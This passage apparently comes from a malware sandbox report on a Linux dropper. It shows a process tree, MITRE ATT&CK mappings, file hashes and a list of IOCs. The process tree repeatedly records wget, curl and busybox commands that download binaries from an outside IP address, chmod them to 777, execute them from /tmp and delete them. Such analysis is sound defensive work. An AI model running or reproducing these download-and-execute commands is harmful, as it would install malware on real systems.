- /bin/chmod
  chmod 777 0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  - File and Directory Permissions Modification
  PID:960
- /tmp/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  ./0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  - Executes dropped EXE
  PID:961
- /bin/rm
  rm 0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  PID:962
- /usr/bin/wget
  wget http://87.120.84.230/bins/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  PID:963
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:964
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  PID:965
- /bin/chmod
  chmod 777 rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  - File and Directory Permissions Modification
  PID:966
- /tmp/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  ./rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  - Executes dropped EXE
  PID:967
- /bin/rm
  rm rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  PID:968
- /usr/bin/wget
  wget http://87.120.84.230/bins/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  PID:969
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:970
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  PID:971
- /bin/chmod
  chmod 777 sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  - File and Directory Permissions Modification
  PID:972
- /tmp/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  ./sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  - Executes dropped EXE
  PID:973
- /bin/rm
  rm sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  PID:974
- /usr/bin/wget
  wget http://87.120.84.230/bins/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  PID:975
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:976
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  PID:977
- /bin/chmod
  chmod 777 zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  - File and Directory Permissions Modification
  PID:978
- /tmp/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  ./zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  - Executes dropped EXE
  PID:979
- /bin/rm
  rm zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  PID:980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0

Path /tmp/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0	738	ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
/tmp/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y	745	AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
/tmp/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u	751	RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
/tmp/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT	771	0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
/tmp/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3	801	rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
/tmp/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu	814	EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
/tmp/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx	853	sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
/tmp/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj	859	zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
/tmp/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3	865	n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
/tmp/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go	871	edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
/tmp/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg	877	17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
/tmp/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3	883	OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
/tmp/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P	889	iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
/tmp/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ	895	k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
/tmp/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3	901	n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
/tmp/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go	907	edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
/tmp/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg	913	17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
/tmp/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3	919	OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
/tmp/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P	925	iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
/tmp/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ	931	k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
/tmp/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu	937	EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
/tmp/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0	943	ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
/tmp/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y	949	AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
/tmp/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u	955	RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
/tmp/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT	961	0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
/tmp/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3	967	rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
/tmp/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx	973	sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
/tmp/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj	979	zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj